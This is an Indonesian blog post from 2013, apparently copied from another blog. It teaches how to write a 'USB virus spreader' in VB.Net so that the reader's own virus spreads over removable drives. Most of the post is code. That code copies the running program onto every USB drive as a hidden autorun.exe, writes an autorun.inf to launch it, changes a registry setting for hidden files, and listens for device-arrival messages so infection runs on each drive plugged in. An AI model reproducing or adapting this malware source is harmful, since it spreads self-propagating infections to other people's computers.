Selasa, 15 Januari 2013

Membuat USB Virus Spreader Menggunakan VB.Net

Membuat USB Virus Spreader Menggunakan VB.Net

 
Pada sesi kali ini penulis akan berbagi bagaimana cara membuat sebuah Virus Spreader dimana dengan virus spreader ini kita bisa menyebarkan virus buatan kita agar menyebar lewat USB. Virus Spreader yang akan kita buat menggunakan bahasa pemograman Visual Basic.Net

Selanjutnya anda harus membuat sebuah class dengan nama usb.vb dan masukan kode modul dibawah ini :


Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32

Module USB

    Sub USBInfect()

        On Error Resume Next
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)

        Dim DriveList As String() = Environment.GetLogicalDrives()
        For i As Integer = 0 To DriveList.Length - 1

            Dim di As New DriveInfo(DriveList(i))

            If di.DriveType = DriveType.Removable Then
                If Not di.IsReady = False Then
                    If Not File.Exists(DriveList(i) & "autorun.exe") Then

                        File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
                        My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
                        SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
                        SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
                    End If
                End If
            End If
        Next

    End Sub

End Module
Kemudian untuk menggunakanya silahkan gunakan code dibawah ini :
 
#Region "USB DETECT"





    Protected Overloads Overrides Sub WndProc(ByRef m As Message)

        Select Case m.Msg

            Case Win32.WM_DEVICECHANGE

                OnDeviceChange(m)

                Exit Select

        End Select

        MyBase.WndProc(m)

    End Sub



    Private Sub OnDeviceChange(ByRef msg As Message)

        Dim wParam As Integer = CInt(msg.WParam)



        If wParam = Win32.DBT_DEVICEARRIVAL Then

            Msgbox("USB SPREADING!") ' Might want to remove this, lmao

            USBInfect()

        ElseIf wParam = Win32.DBT_DEVICEREMOVECOMPLETE Then

            msbgox("USB REMOVED!") ' And this!

        End If



    End Sub



    Private Sub RegisterHidNotification()

        Dim dbi As New Win32.DEV_BROADCAST_DEVICEINTERFACE()

        Dim size As Integer = Marshal.SizeOf(dbi)

        dbi.dbcc_size = size

        dbi.dbcc_devicetype = Win32.DBT_DEVTYP_DEVICEINTERFACE

        dbi.dbcc_reserved = 0

        dbi.dbcc_classguid = Win32.GUID_DEVINTERFACE_HID

        dbi.dbcc_name = 0

        Dim buffer As IntPtr = Marshal.AllocHGlobal(size)

        Marshal.StructureToPtr(dbi, buffer, True)

        Dim r As IntPtr = Win32.RegisterDeviceNotification(Handle, buffer, Win32.DEVICE_NOTIFY_WINDOW_HANDLE)

        If r = IntPtr.Zero Then

        End If

    End Sub



    Class Win32

        Public Const WM_DEVICECHANGE As Integer = &H219

        Public Const DBT_DEVICEARRIVAL As Integer = &H8000, DBT_DEVICEREMOVECOMPLETE As Integer = &H8004

        Public Const DEVICE_NOTIFY_WINDOW_HANDLE As Integer = 0, DEVICE_NOTIFY_SERVICE_HANDLE As Integer = 1

        Public Const DBT_DEVTYP_DEVICEINTERFACE As Integer = 5

        Public Shared GUID_DEVINTERFACE_HID As New Guid("4D1E55B2-F16F-11CF-88CB-001111000030")



         _

        Public Class DEV_BROADCAST_DEVICEINTERFACE

            Public dbcc_size As Integer

            Public dbcc_devicetype As Integer

            Public dbcc_reserved As Integer

            Public dbcc_classguid As Guid

            Public dbcc_name As Short

        End Class



         _

        Public Shared Function RegisterDeviceNotification(ByVal hRecipient As IntPtr, ByVal NotificationFilter As IntPtr, ByVal Flags As Int32) As IntPtr

        End Function



         _

        Public Shared Function GetLastError() As Integer

        End Function

    End Class

#End Region
Dan autorun.exe adalah nama virus yang akan anda sebarkan.
 
Sumber: http://synra.blogspot.com/2012/07/membuat-usb-virus-spreader-menggunakan.html

Tidak ada komentar:

Posting Komentar